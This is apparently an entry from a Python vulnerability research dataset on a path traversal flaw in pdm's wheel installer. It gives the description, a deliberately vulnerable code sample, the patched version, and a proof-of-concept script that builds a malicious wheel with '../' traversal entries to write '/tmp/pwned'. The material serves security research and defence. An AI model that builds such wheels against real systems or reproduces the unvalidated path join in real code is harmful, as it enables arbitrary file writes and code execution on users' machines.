CVE-2026-47764
Path traversal in pdm allows a malicious wheel to write arbitrary files.
- CVSS 8.4
- 22
- Input Validation and Sanitization
- Local
pdm is a Python package and dependency manager supporting the latest PEP standards. Versions prior to 2.27.0 are vulnerable to path traversal through write_to_fs. InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. This issue has been fixed in version 2.27.0.
- CWE
- 22
- CVSS base score
- 8.4
- Published
- 2026-08-04
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- pdm
- Fixed by upgrading
- Yes
Solution
Upgrade pdm to version 2.27.0 or later.
Vulnerable code sample
import os
from typing import IO
# Faked upstream dependencies for a minimal example
class Scheme: pass
class BaseInstallDestination:
def __init__(self, base: str, **kwargs): self.base = base
def _path_with_destdir(self, scheme: Scheme, path: str) -> str: pass
def write_to_fs(self, scheme: Scheme, path: str, stream: IO[bytes], is_executable: bool) -> str: pass
IS_WINDOWS = os.name == "nt"
class InstallDestination(BaseInstallDestination):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs)
self.use_link = False
def write_to_fs(
self,
scheme: Scheme,
path: str,
stream: IO[bytes],
is_executable: bool,
) -> str:
if self.use_link:
source_path: str = getattr(stream, "name")
# VULNERABLE: path from wheel file is not validated before being joined to a base path
target_path = os.path.join(self.base, path)
dirname = os.path.dirname(target_path)
os.makedirs(dirname, exist_ok=True)
if os.path.lexists(target_path):
os.remove(target_path)
if IS_WINDOWS:
os.link(source_path, target_path)
else:
os.symlink(source_path, target_path)
return target_path
return super().write_to_fs(scheme, path, stream, is_executable)Patched code sample
import os
from typing import IO
# Faked upstream dependencies for a minimal example
class Scheme: pass
class BaseInstallDestination:
def __init__(self, base: str, **kwargs): self.base = base
def _path_with_destdir(self, scheme: Scheme, path: str) -> str: pass
def write_to_fs(self, scheme: Scheme, path: str, stream: IO[bytes], is_executable: bool) -> str: pass
IS_WINDOWS = os.name == "nt"
class InstallDestination(BaseInstallDestination):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs)
self.use_link = False
def write_to_fs(
self,
scheme: Scheme,
path: str,
stream: IO[bytes],
is_executable: bool,
) -> str:
if self.use_link:
source_path: str = getattr(stream, "name")
# FIX: Use the base class's safe method which validates the path is within the destination
target_path = self._path_with_destdir(scheme, path)
dirname = os.path.dirname(target_path)
os.makedirs(dirname, exist_ok=True)
if os.path.lexists(target_path):
os.remove(target_path)
if IS_WINDOWS:
os.link(source_path, target_path)
else:
os.symlink(source_path, target_path)
return target_path
return super().write_to_fs(scheme, path, stream, is_executable)Payload
import zipfile
import os
# --- Payload Configuration ---
# The name of the malicious wheel file to create.
wheel_filename = "malicious_pdm_poc-1.0-py3-none-any.whl"
# The path to traverse to and the file to write.
# This example writes to /tmp/pwned on a Unix-like system.
# The number of "../" may need adjustment depending on the installation depth.
malicious_filepath = "../../../../../../tmp/pwned"
# The content to write into the target file.
file_content = b"This file was written by exploiting CVE-2026-47764 in pdm.\n"
# --- Wheel Metadata (required for a valid wheel) ---
dist_info_dir = "malicious_pdm_poc-1.0.dist-info/"
metadata_content = """
Metadata-Version: 2.1
Name: malicious-pdm-poc
Version: 1.0
Summary: A proof-of-concept exploit for CVE-2026-47764.
"""
wheel_metadata_content = """
Wheel-Version: 1.0
Generator: bdist_wheel (0.37.0)
Root-Is-Purelib: true
Tag: py3-none-any
"""
# --- Payload Generation ---
if os.path.exists(wheel_filename):
os.remove(wheel_filename)
with zipfile.ZipFile(wheel_filename, "w", zipfile.ZIP_DEFLATED) as zf:
# 1. Add the required wheel metadata files.
zf.writestr(dist_info_dir + "METADATA", metadata_content)
zf.writestr(dist_info_dir + "WHEEL", wheel_metadata_content)
# 2. Add the malicious file with the traversal path.
# This is the core of the exploit.
zf.writestr(malicious_filepath, file_content)
print(f"Malicious wheel '{wheel_filename}' created successfully.")
print(f"To test, run 'pdm add ./{wheel_filename}' in a test project using a vulnerable pdm version.")
print(f"Then check for the existence and content of '/tmp/pwned'.")
Cite this entry
@misc{vaitp:cve202647764,
title = {{Path traversal in pdm allows a malicious wheel to write arbitrary files.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-47764},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47764/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
